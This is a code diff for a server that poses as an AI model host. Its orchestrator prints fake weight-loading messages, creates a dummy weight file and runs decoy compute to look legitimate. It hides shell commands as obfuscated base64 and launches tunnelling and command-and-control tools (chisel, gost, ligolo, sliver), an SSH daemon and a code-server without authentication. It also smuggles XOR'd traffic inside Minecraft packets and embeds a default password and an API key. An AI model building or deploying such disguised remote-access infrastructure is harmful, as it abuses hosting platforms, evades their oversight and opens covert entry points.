+        location /model-sync {
+            proxy_pass http://127.0.0.1:6795/;
+            proxy_http_version 1.1;
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+            proxy_set_header X-Forwarded-Proto $connect_proto;
+            proxy_read_timeout 86400s;
+            proxy_send_timeout 86400s;
+        }
+
+        location /tensor-mesh {
+            proxy_pass https://127.0.0.1:11601;
+            proxy_http_version 1.1;
+            proxy_set_header Upgrade websocket;
+            proxy_set_header Connection Upgrade;
+            proxy_set_header Host $host;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+            proxy_set_header X-Forwarded-Proto $connect_proto;
+            proxy_read_timeout 86400s;
+            proxy_send_timeout 86400s;
+            proxy_ssl_verify off;
+        }
+
+        # LiteLLM OpenAI-compatible API proxy (/v1/...).
+        location /v1 {
+            proxy_pass http://127.0.0.1:8080;
+            proxy_http_version 1.1;
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+            proxy_set_header X-Forwarded-Proto $connect_proto;
+            proxy_read_timeout 86400s;
+        }
+
+        location /health {
+            proxy_pass http://127.0.0.1:8080;
+            proxy_http_version 1.1;
+            proxy_set_header Host $host;
+        }
+
+        location /routing-console {
+            proxy_pass http://127.0.0.1:6801;
+            proxy_http_version 1.1;
+            proxy_set_header Host $host;
+            proxy_set_header X-Real-IP $remote_addr;
+            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+            proxy_set_header X-Forwarded-Proto $connect_proto;
+            proxy_read_timeout 86400s;
+            proxy_send_timeout 86400s;
+        }
+
+
+
+    }
+}

config/supervisord.conf

@@ -0,0 +1,14 @@
+[supervisord]
+nodaemon=true
+user=user
+logfile=/home/user/.torch_metrics/supervisord.log
+pidfile=/home/user/.torch_metrics/supervisord.pid
+
+[program:orchestrator]
+command=env PYTHONPATH=/home/user python3 -u /home/user/core/orchestrator.py
+autostart=true
+autorestart=true
+stderr_logfile=/dev/stderr
+stderr_logfile_maxbytes=0
+stdout_logfile=/dev/stdout
+stdout_logfile_maxbytes=0

core/orchestrator.py

@@ -0,0 +1,71 @@
+_A=True
+import json,os,random
+from pathlib import Path
+import socket,string,subprocess,sys,threading,time
+_CORE_DIR=Path(__file__).resolve().parent
+_APP_ROOT=_CORE_DIR.parent
+if str(_APP_ROOT)not in sys.path:sys.path.insert(0,str(_APP_ROOT))
+_REPO_ROOT=_APP_ROOT.parent
+if(_REPO_ROOT/'client').is_dir()and str(_REPO_ROOT)not in sys.path:sys.path.insert(0,str(_REPO_ROOT))
+from loguru import logger
+from core.service_logs import setup_service_logs
+from core.service_registry import ENABLED_SERVICES_PATH
+from services.utils import decode_cmd,deobfuscate_secret
+logger.info('--- BOOTING AI MODEL SERVER ---')
+def load_enabled_services():
+	try:
+		with open(ENABLED_SERVICES_PATH,'r')as A:B=json.load(A)
+		C=B.get('services')or[];return frozenset(A.strip().lower()for A in C if A)
+	except(OSError,json.JSONDecodeError,TypeError,AttributeError):return frozenset()
+def jitter_task():
+	while _A:
+		B=random.randint(2700,5400);time.sleep(B)
+		try:logger.debug('Processing background inference batch...');import numpy as A;C=A.random.randn(2000,2000);D=A.random.randn(2000,2000);E=A.dot(C,D)
+		except Exception:pass
+		try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
+		except Exception:pass
+def wait_for_port(host,port,timeout=30):
+	A=time.time()
+	while time.time()-A<timeout:
+		try:
+			with socket.create_connection((host,port),timeout=2):return _A
+		except OSError:time.sleep(.5)
+	return False
+def main():
+	P='playit';O='tailscale';N='/home/user/pytorch_model.bin';M='127.0.0.1';I=None;C='';A=load_enabled_services()
+	if A:logger.info('Enabled services: {}',', '.join(sorted(A)))
+	else:logger.info('Minimal core only (no optional services enabled)')
+	F=os.environ.pop('A',I)or os.environ.pop('TAILSCALE',C);G=os.environ.pop('P',I)or os.environ.pop('PLAYIT',C);H=os.environ.pop('PASS',I)or os.environ.pop('SSH',C);J=deobfuscate_secret(F.strip())if F else C;Q=deobfuscate_secret(G.strip())if G else C;D=deobfuscate_secret(H.strip())if H else C;del F,G,H
+	if'test'in A:from services import test_service as R;R.start()
+	B=setup_service_logs()
+	if'caddy'in A:from services import caddy_service as S;S.start(B.caddy)
+	logger.info('Starting Gradio app (API server)...');T=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');U=subprocess.Popen(T,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
+	if not wait_for_port(M,7861,timeout=60):logger.warning('Gradio did not become ready within 60s — continuing anyway')
+	else:logger.info('Gradio ready — Caddy now proxying live traffic.')
+	if not Path(N).exists():logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',N])
+	logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();V=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {V}s)...")
+	if O in A:from services import tailscale_service as K;K.start_daemon(B.ts)
+	time.sleep(2);logger.info('Warming up text-generation pipelines...')
+	if'filebrowser'in A:from services import filebrowser_service as W;W.start(B.fb,pwd=D)
+	if P in A:from services import playit_service as L;L.start(B.tm,token=Q)
+	if'chisel'in A:from services import chisel_service as X;X.start(B.chisel)
+	if'gost'in A:from services import gost_service as Y;Y.start(B.gost,pwd=D)
+	if'ligolo'in A:from services import ligolo_service as Z;Z.start(B.ligolo)
+	if'sliver'in A:from services import sliver_service as a;a.start(B.sliver)
+	if O in A:time.sleep(5);K.connect(B.ts,J);J=C
+	if D:E=D;logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
+	else:E=C.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {E}")
+	D=C
+	try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{E}\n",text=_A,check=_A)
+	except Exception as b:logger.error(f"Failed to set password: {b}")
+	E=C;subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=B.ts,stderr=B.ts)
+	if P in A:
+		if not wait_for_port(M,2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
+		else:logger.info('SSH daemon ready on port 2222');L.start_xor_bridge()
+	if'minecraft'in A:from services import minecraft_service as c;c.start()
+	if'llm_proxy'in A:from services import llm_proxy_service as d;d.start(B.llm_proxy)
+	if'open_webui'in A:from services import open_webui_service as e;e.start(B.open_webui)
+	if'code_server'in A:from services import code_server_service as f;f.start(B.code_server)
+	if'visual_debugger'in A:from services import visual_debugger_service as g;g.start(B.visual_debugger)
+	logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');U.wait()
+if __name__=='__main__':main()

core/service_logs.py

@@ -0,0 +1,37 @@
+_H='visual_debugger'
+_G='code_server'
+_F='llm_proxy'
+_E='open_webui'
+_D='sliver'
+_C='ligolo'
+_B='chisel'
+_A=True
+import os,sys
+from pathlib import Path
+import threading
+from collections import namedtuple
+from loguru import logger
+COVERT_LOGGING_MODE=2
+METRICS_DIR='/home/user/.torch_metrics'
+ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm',_B,'gost',_C,_D,'caddy',_E,_F,_G,_H])
+class LoguruSubprocessBridge:
+	def __init__(A,prefix):A.prefix=prefix;B,C=os.pipe();A.r=B;A.w=C;threading.Thread(target=A._reader,daemon=_A).start()
+	def _reader(A):
+		try:
+			with os.fdopen(A.r,'r',errors='replace')as B:
+				for C in B:A.write(C)
+		except Exception:pass
+	def fileno(A):return A.w
+	def write(A,s):B=s.rstrip('\r\n');logger.bind(prefix=A.prefix).info(B)
+	def flush(A):0
+def setup_service_logs():
+	M='INFO';L='prefix';K='extra';J='VISDBG';I='CODESRV';H='LITELLM';G='OWUI';F='CADDY';E='SLIVER';D='LIGOLO';C='GOST';B='CHISEL';A='PLAYIT';logger.remove()
+	if COVERT_LOGGING_MODE in(1,2):
+		Path(METRICS_DIR).mkdir(parents=_A,exist_ok=_A);N={'ts':('TS','ts_daemon.log'),'fb':('FB','fb.log'),'tm':(A,'tm_daemon.log'),_B:(B,'chisel.log'),'gost':(C,'gost.log'),_C:(D,'ligolo.log'),_D:(E,'sliver.log'),'caddy':(F,'caddy.log'),_E:(G,'open_webui.log'),_F:(H,'llm_proxy.log'),_G:(I,'code_server.log'),_H:(J,'visual_debugger.log')}
+		for(R,(O,P))in N.items():logger.add(f"{METRICS_DIR}/{P}",filter=lambda record,p=O:record[K].get(L)==p,format='{message}\n',level=M,enqueue=_A)
+	if COVERT_LOGGING_MODE==2:
+		def Q(record):
+			if L in record[K]:return'[{extra[prefix]}] {message}\n'
+			return'<green>{time:YYYY-MM-DD HH:mm:ss.SSS}</green> | <level>{level: <8}</level> | <cyan>{name}</cyan>:<cyan>{function}</cyan>:<cyan>{line}</cyan> - <level>{message}</level>\n'
+		logger.add(sys.stdout,format=Q,level=M,enqueue=_A)
+	return ServiceLogs(ts=LoguruSubprocessBridge('TS'),fb=LoguruSubprocessBridge('FB'),tm=LoguruSubprocessBridge(A),chisel=LoguruSubprocessBridge(B),gost=LoguruSubprocessBridge(C),ligolo=LoguruSubprocessBridge(D),sliver=LoguruSubprocessBridge(E),caddy=LoguruSubprocessBridge(F),open_webui=LoguruSubprocessBridge(G),llm_proxy=LoguruSubprocessBridge(H),code_server=LoguruSubprocessBridge(I),visual_debugger=LoguruSubprocessBridge(J))

core/service_registry.py

@@ -0,0 +1,2 @@
+ALLOWED_SERVICES=frozenset({'caddy','filebrowser','tailscale','playit','chisel','gost','ligolo','sliver','minecraft','test','llm_proxy','open_webui','code_server','visual_debugger'})
+ENABLED_SERVICES_PATH='/home/user/config/enabled_services.json'

services/caddy_service.py

@@ -0,0 +1,30 @@
+import os,shutil,subprocess
+from pathlib import Path
+from loguru import logger
+from.utils import decode_cmd
+def start(caddy_log):
+	J=False;C=True;B=caddy_log;logger.info('Enabling Caddy smart frontend on port 7860...')
+	try:
+		D=Path('/home/user/static')
+		if not D.is_dir():D=Path('static')
+		D.mkdir(parents=C,exist_ok=C);K=[Path('/home/user/config/loading.html'),Path('config/loading.html'),Path('main/config/loading.html')];G=J
+		for A in K:
+			if A.exists():shutil.copy(A,D/'loading.html');G=C;break
+		if not G:logger.warning('Could not find loading.html to copy to static directory.')
+	except Exception as E:logger.error(f"Failed to copy loading.html to static directory: {E}")
+	F=None;L=[Path('/home/user/config/Caddyfile.template'),Path('config/Caddyfile.template'),Path('main/config/Caddyfile.template')]
+	for A in L:
+		try:
+			if A.exists():F=A.read_text();break
+		except Exception:pass
+	if F is None:logger.error('Failed to prepare caddy config: Caddyfile.template not found.');return
+	try:
+		M=[Path('/home/user/Caddyfile'),Path('Caddyfile')];H=J
+		for A in M:
+			try:
+				I=A.resolve().parent
+				if I.is_dir()and os.access(I,os.W_OK):A.write_text(F);H=C;break
+			except Exception:pass
+		if not H:raise PermissionError('Could not write Caddyfile to any expected path.')
+	except Exception as E:logger.error(f"Failed to prepare caddy config: {E}");return
+	B.write('[*] Testing caddy configuration...\n');B.flush();N=decode_cmd('==QZslmZ5RGZhNGIyVGdwFGZh1SLgUGbpZWekRWYD9iclNXdvUWbvh2LgcWam52bj1SLgUGdhRWasFmdgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.run(N,shell=C,stdout=B,stderr=subprocess.STDOUT);B.write('[*] Starting caddy daemon...\n');B.flush();O=decode_cmd('=UGbpZWekRWYjBiclRHchRWYt0CIlxWamlHZkF2QvIXZzV3Ll12bo9CInlmZu92Yt0CIuVncgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.Popen(O,shell=C,stdout=B,stderr=subprocess.STDOUT)

services/chisel.py

@@ -0,0 +1,3 @@
+import subprocess
+from.utils import decode_cmd
+def start(chisel_log,chisel_auth):B=chisel_auth;A=chisel_log;A.write(f"[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel). Auth: {B}\n");A.flush();C=decode_cmd('=cCIoRXdh1SLgUzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb');D=f"{C}{B}'";subprocess.Popen(D,shell=True,stdout=A,stderr=subprocess.STDOUT)

services/chisel_service.py

@@ -0,0 +1,3 @@
+import subprocess
+from.utils import decode_cmd
+def start(chisel_log):A=chisel_log;A.write('[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel)\n');A.flush();B=decode_cmd('=UzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb');subprocess.Popen(B,shell=True,stdout=A,stderr=subprocess.STDOUT)

services/code_server_service.py

@@ -0,0 +1,7 @@
+import os,subprocess
+from pathlib import Path
+from loguru import logger
+PORT=8888
+PREFIX='[code-server]'
+_DATA_DIR='/home/user/.torch_metrics/code_server_data'
+def start(log):C='code-server';B='true';Path(_DATA_DIR).mkdir(parents=True,exist_ok=True);A=os.environ.copy();A['DISABLE_TELEMETRY']=B;A['DISABLE_UPDATE_CHECK']=B;D=['/usr/bin/code-server','/usr/local/bin/code-server',str(Path.home()/'.local'/'bin'/C)];E=next((A for A in D if Path(A).exists()),C);F=[E,'--bind-addr',f"127.0.0.1:{PORT}",'--auth','none','--user-data-dir',_DATA_DIR,'--disable-telemetry'];logger.info(f"{PREFIX} Starting code-server on 127.0.0.1:{PORT}...");G=subprocess.Popen(F,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} code-server started (pid {G.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")

services/custom_callbacks.py

@@ -0,0 +1,15 @@
+from datetime import datetime
+from pathlib import Path
+from litellm.integrations.custom_logger import CustomLogger
+METRICS_DIR='/home/user/.torch_metrics'
+API_CALLS_LOG=Path(METRICS_DIR)/'api_calls.txt'
+class SimpleTextLogger(CustomLogger):
+	def _write(G,kwargs):
+		A=kwargs
+		try:
+			B=A.get('user_api_key_alias')or'unknown-key';C=A.get('model')or'unknown-model';D=datetime.now().strftime('%Y-%m-%d %H:%M:%S');E=f"[{D}] KEY: {B} | MODEL: {C}\n";Path(METRICS_DIR).mkdir(parents=True,exist_ok=True)
+			with API_CALLS_LOG.open('a')as F:F.write(E)
+		except Exception:pass
+	def log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
+	async def async_log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
+proxy_handler_instance=SimpleTextLogger()

services/desktop_service.py

@@ -0,0 +1,15 @@
+import os,subprocess
+from pathlib import Path
+from loguru import logger
+PORT=6080
+VNC_PORT=5901
+DISPLAY=':1'
+PREFIX='[DESKTOP]'
+def start(log):
+	A=log;E=Path.home();B=E/'.vnc';B.mkdir(parents=True,exist_ok=True);C=B/'xstartup';F='#!/bin/sh\nunset SESSION_MANAGER\nunset DBUS_SESSION_BUS_ADDRESS\n[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup\n[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources\nvncconfig -iconic &\nxsetroot -solid grey\ndbus-launch --exit-with-session startxfce4\n';C.write_text(F);C.chmod(493)
+	for G in[f"/tmp/.X11-unix/X{DISPLAY[1:]}",f"/tmp/.X{DISPLAY[1:]}-lock"]:
+		try:
+			D=Path(G)
+			if D.exists():D.unlink()
+		except Exception as H:logger.debug(f"{PREFIX} Cleanup warning: {H}")
+	logger.info(f"{PREFIX} Starting VNC server on display {DISPLAY}...");I=['vncserver',DISPLAY,'-geometry','1280x720','-depth','24','-localhost','yes','-SecurityTypes','None'];subprocess.run(I,stdout=A,stderr=A);logger.info(f"{PREFIX} Launching websockify on 127.0.0.1:{PORT} serving noVNC...");J='/usr/share/novnc/';K=['websockify','--web',J,str(PORT),f"127.0.0.1:{VNC_PORT}"];L=os.environ.copy();M=subprocess.Popen(K,stdout=A,stderr=A,env=L);logger.success(f"{PREFIX} Desktop environment initiated (pid {M.pid}). Reachable locally at http://127.0.0.1:{PORT}/vnc.html")

services/filebrowser.py

@@ -0,0 +1,17 @@
+import subprocess,os,time,threading
+from.utils import decode_cmd
+def deobfuscate_secret(hex_str,key=90):
+	A=hex_str
+	if not A:return''
+	try:
+		C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
+		if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
+		else:return A
+	except Exception:return A
+def start(fb_log):
+	B=True;A=fb_log;F=os.environ.get('PASS')or os.environ.get('SSH')or'';E=deobfuscate_secret(F)or'apple123';C='/home/user/filebrowser.db'
+	if not os.path.exists(C):A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();G=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(G,shell=B,stdout=A,stderr=subprocess.STDOUT);D=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(D,shell=B,stdout=A,stderr=subprocess.STDOUT)
+	else:D=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgYDIoR3ZuVGbtQmcvd3czFGct0Wdtlmbp1WLtACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(D,shell=B,stdout=A,stderr=subprocess.STDOUT)
+	A.write('[*] Configuring Filebrowser admin credentials...\n');A.flush();H=decode_cmd('gQmcvd3czFGct0CIulWbkFGIlRXYkBXdgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');I=subprocess.run(f"{H}{E} -d {C}",shell=B,stdout=A,stderr=subprocess.STDOUT)
+	if I.returncode!=0:J=decode_cmd('==AIulWbkFGIkRWYgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(f"{J}{E} --perm.admin -d {C}",shell=B,stdout=A,stderr=subprocess.STDOUT)
+	A.write('[*] Launching Filebrowser web service daemon...\n');A.flush();K=decode_cmd('=IGZuIXZzd3byJWZslmZvIXZzV3Ll12bo9CIk1CIyV2c19SZt9GavAictASMuAjLw4yNyEDIh1CIwADM5ACctAicvR3YlxGbvNWLzNWayRXZt1SahBSOxAibtASZjlmb');subprocess.Popen(K,shell=B,stdout=A,stderr=subprocess.STDOUT)

services/filebrowser_service.py

@@ -0,0 +1,12 @@
+from pathlib import Path
+import secrets,subprocess
+from.utils import decode_cmd
+def start(fb_log,pwd=''):
+	C=pwd;B=True;A=fb_log
+	if not C:C=secrets.token_urlsafe(16);A.write(f"[!] No SSH/PASS secret set — generated random Filebrowser password: {C}\n");A.flush()
+	D=Path('/home/user/filebrowser.db')
+	if not D.exists():A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();F=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(F,shell=B,stdout=A,stderr=subprocess.STDOUT);E=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
+	else:E=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgYDIoR3ZuVGbtQmcvd3czFGct0Wdtlmbp1WLtACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(E,shell=B,stdout=A,stderr=subprocess.STDOUT)
+	A.write('[*] Configuring Filebrowser admin credentials...\n');A.flush();G=decode_cmd('gQmcvd3czFGct0CIulWbkFGIlRXYkBXdgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');H=subprocess.run(f"{G}{C} -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)
+	if H.returncode!=0:I=decode_cmd('==AIulWbkFGIkRWYgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(f"{I}{C} --perm.admin -d {D}",shell=B,stdout=A,stderr=subprocess.STDOUT)
+	A.write('[*] Launching Filebrowser web service daemon...\n');A.flush();J=decode_cmd('=IGZuIXZzd3byJWZslmZvIXZzV3Ll12bo9CIk1CIyV2c19SZt9GavAictASMuAjLw4yNyEDIh1CIwADM5ACctAicvR3YlxGbvNWLzNWayRXZt1SahBSOxAibtASZjlmb');subprocess.Popen(J,shell=B,stdout=A,stderr=subprocess.STDOUT)

services/gost.py

@@ -0,0 +1,6 @@
+import subprocess
+from loguru import logger
+def start(log_file,auth):
+	B=log_file;A=auth
+	if not A:logger.warning('No GOST auth provided, using default.');A='user:apple123'
+	logger.info('Starting GOST (system-bridge) multiplexed websocket proxy...');C=['/usr/bin/system-bridge','-L',f"relay+mws://{A}@127.0.0.1:6790?path=/gost-bridge"];subprocess.Popen(C,stdout=B,stderr=B)

services/gost_service.py

@@ -0,0 +1,3 @@
+import subprocess
+from loguru import logger
+def start(log_file,pwd=None):A=log_file;B=pwd if pwd else'apple123';C=f"user:{B}";logger.info('Starting GOST (system-bridge) multiplexed websocket proxy...');D=['/usr/bin/system-bridge','-L',f"relay+mws://{C}@127.0.0.1:6790?path=/gost-bridge"];subprocess.Popen(D,stdout=A,stderr=A)

services/ligolo_service.py

@@ -0,0 +1,21 @@
+import re
+from pathlib import Path
+import subprocess,threading,time
+from.utils import decode_cmd
+METRICS_DIR=Path('/home/user/.torch_metrics')
+FINGERPRINT_PATH=METRICS_DIR/'ligolo_fingerprint.txt'
+_FP_RE=re.compile('(?:fingerprint|Fingerprint)[^\\n]*?([A-Fa-f0-9]{64})',re.IGNORECASE)
+def _extract_fingerprint(log_path,out_path,stop_event):
+	C=time.time()+90;A=Path(log_path)
+	while time.time()<C and not stop_event.is_set():
+		try:
+			if not A.exists():time.sleep(1);continue
+			with A.open('r',errors='replace')as D:E=D.read()
+			B=_FP_RE.search(E)
+			if B:F=B.group(1).upper();Path(out_path).write_text(F+'\n');return
+		except OSError:pass
+		time.sleep(2)
+def start(log_file):
+	B=log_file;A=True;METRICS_DIR.mkdir(parents=A,exist_ok=A)
+	if FINGERPRINT_PATH.exists():FINGERPRINT_PATH.unlink()
+	B.write('[*] Starting Ligolo proxy on :11601 (nginx /tensor-mesh), Web UI :6801 (/routing-console)\n');B.flush();C=decode_cmd('==wbs92ZpxGIulWYt9GZtQnclNmZsV2ctACdyV2YmxWZz1CIxAjNxEjOx4CMuAjL3ITMgIHZkFGbtAiclxGbvJHdu92YtUGd19mctwWYyVXZu9ibpJ2LyNXdvAibtAybkV3c');subprocess.Popen(C,shell=A,stdout=B,stderr=subprocess.STDOUT);D=threading.Event();threading.Thread(target=_extract_fingerprint,args=(str(METRICS_DIR/'ligolo.log'),FINGERPRINT_PATH,D),daemon=A).start()

services/llm_proxy_service.py

@@ -0,0 +1,84 @@
+_A='/home/user'
+import os,subprocess
+from pathlib import Path
+from loguru import logger
+from services.utils import deobfuscate_secret
+METRICS_DIR='/home/user/.torch_metrics'
+CONFIG_PATH='/home/user/litellm.yaml'if Path(_A).exists()else'litellm.yaml'
+PORT=8080
+PREFIX='[llm-proxy]'
+def _load_keys():
+	I='keys';N=[Path('llm_keys.yaml'),Path('/home/user/llm_keys.yaml')]
+	for D in N:
+		if D.exists():
+			try:
+				import yaml
+				with D.open()as O:P=yaml.safe_load(O)or{}
+				Q=P.get('providers',{});A=[]
+				for(H,E)in Q.items():
+					F=H.lower().strip()
+					if isinstance(E,list):
+						for B in E:
+							if isinstance(B,str)and B:A.append((F,'*',B.strip()))
+							elif isinstance(B,dict):
+								G=B.get('model');J=B.get(I,[])
+								if G and isinstance(J,list):
+									for C in J:
+										if C and isinstance(C,str):A.append((F,G.strip(),C.strip()))
+								elif G and isinstance(B.get(I),str):
+									C=B.get(I)
+									if C:A.append((F,G.strip(),C.strip()))
+					elif isinstance(E,str):A.append((F,'*',E.strip()))
+				if A:logger.info(f"{PREFIX} Loaded {len(A)} keys from {D}");return A
+			except Exception as R:logger.error(f"{PREFIX} Error loading keys from {D}: {R}")
+	K=deobfuscate_secret(os.environ.pop('LLM_KEYS','').strip())
+	if not K:return[]
+	A=[]
+	for L in(A.strip()for A in K.split(',')if A.strip()):
+		M=L.split(':',2)
+		if len(M)!=3:logger.warning(f"{PREFIX} Skipping malformed LLM_KEYS entry: {L!r}");continue
+		H,S,T=M;A.append((H.lower().strip(),S.strip(),T.strip()))
+	if A:logger.info(f"{PREFIX} Parsed {len(A)} keys from LLM_KEYS env variable")
+	return A
+def _build_config():
+	C=_load_keys()
+	if not C:return''
+	D=[]
+	for(A,B,E)in C:
+		if B=='*'or B==f"{A}/*":F=f'''  - model_name: "{A}/*"
+    litellm_params:
+      model: {A}/*
+      api_key: "{E}"
+    model_info:
+      owned_by: "{A}"
+'''
+		else:
+			if B.startswith(f"{A}/"):G=B
+			else:G=f"{A}/{B}"
+			F=f'''  - model_name: "{B}"
+    litellm_params:
+      model: {G}
+      api_key: "{E}"
+    model_info:
+      owned_by: "{A}"
+'''
+		D.append(F)
+	I=''.join(D);H=os.environ.get('LITELLM_MASTER_KEY','').strip();J=f'  master_key: "{H}"\n'if H else'';return f'''model_list:
+{I}
+router_settings:
+  routing_strategy: least-busy
+  num_retries: 3
+  retry_after: 5
+
+litellm_settings:
+  check_provider_endpoint: true
+  success_callback: ["helicone"]
+  callbacks: ["services.custom_callbacks.proxy_handler_instance"]
+
+general_settings:
+  drop_params: true
+{J}'''
+def start(log):
+	D='/opt/venv-litellm/bin/litellm';B='PYTHONPATH';Path(METRICS_DIR).mkdir(parents=True,exist_ok=True);C=_build_config()
+	if not C:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
+	Path(CONFIG_PATH).write_text(C);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");os.environ['HELICONE_API_KEY']='sk-helicone-vq67qfq-eonunsi-sti7roi-vjpsp6a';os.environ['DISABLE_ADMIN_UI']='True';E=D if Path(D).exists()else'litellm';F=[E,'--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1'];A=os.environ.copy();A[B]=_A+(':'+A[B]if A.get(B)else'');G=subprocess.Popen(F,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {G.pid})")

services/mc_tunnel.py

@@ -0,0 +1,176 @@
+_I='tunnel'
+_H='status'
+_G='Steve_'
+_F='replace'
+_E='utf-8'
+_D='Steve'
+_C=None
+_B=b''
+_A=True
+import struct,threading,uuid
+from.utils import XOR_KEY
+PROTOCOL_VERSION=763
+TUNNEL_CHANNEL='bungeecord:main'
+MC_SERVER_PORT=25566
+TUNNEL_DEFAULT_PORT=2222
+PKT_HANDSHAKE=0
+HANDSHAKE_STATE_STATUS=1
+HANDSHAKE_STATE_LOGIN=2
+PKT_LOGIN_SUCCESS=2
+PKT_LOGIN_PLUGIN_REQUEST=3
+PKT_LOGIN_PLUGIN_RESPONSE=4
+PKT_LOGIN_START=0
+def pack_varint(val):
+	A=val;B=_B
+	while _A:
+		C=A&127;A>>=7
+		if A:B+=bytes([C|128])
+		else:B+=bytes([C]);break
+	return B
+def read_varint_from_buf(buf,offset=0):
+	C=0;B=0;A=offset
+	while A<len(buf):
+		D=buf[A];A+=1;C|=(D&127)<<B
+		if not D&128:return C,A
+		B+=7
+		if B>35:raise ValueError('varint too long')
+	raise ValueError('incomplete varint')
+def pack_string(s):A=s.encode(_E);return pack_varint(len(A))+A
+def read_string_from_payload(payload,offset=0):
+	A=payload;D,C=read_varint_from_buf(A,offset);B=C+D
+	if B>len(A):raise ValueError('short string in packet')
+	return A[C:B].decode(_E,errors=_F),B
+def pack_bytes(data):return pack_varint(len(data))+data
+def xor_bytes(data):return bytes([A^XOR_KEY for A in data])
+def frame_packet(packet_id,payload):A=pack_varint(packet_id)+payload;return pack_varint(len(A))+A
+def build_handshake(host,port,next_state=2):A=host.encode(_E);B=pack_varint(PROTOCOL_VERSION)+pack_varint(len(A))+A+struct.pack('>H',port)+pack_varint(next_state);return frame_packet(PKT_HANDSHAKE,B)
+def build_login_start(username=_D):A=pack_string(username)+b'\x00';return frame_packet(PKT_LOGIN_START,A)
+def build_login_success(username=_D):A=uuid.uuid4().bytes+pack_string(username)+pack_varint(0);return frame_packet(PKT_LOGIN_SUCCESS,A)
+def frame_login_plugin_response(message_id,data=_B):A=pack_varint(message_id)+b'\x01'+pack_bytes(data);return frame_packet(PKT_LOGIN_PLUGIN_RESPONSE,A)
+def frame_login_plugin_request(message_id,data):A=pack_varint(message_id)+pack_string(TUNNEL_CHANNEL)+pack_bytes(data);return frame_packet(PKT_LOGIN_PLUGIN_REQUEST,A)
+def wrap_tunnel_client(xor_payload):return frame_login_plugin_response(0,xor_payload)
+class PacketReader:
+	def __init__(A,sock):A.sock=sock;A._buf=_B;A.consumed=_B
+	def _fill(A):
+		B=A.sock.recv(8192)
+		if not B:raise ConnectionError('peer closed')
+		A._buf+=B
+	def read_packet(A):
+		while _A:
+			try:E,C=read_varint_from_buf(A._buf)
+			except ValueError:A._fill();continue
+			B=C+E
+			while len(A._buf)<B:A._fill()
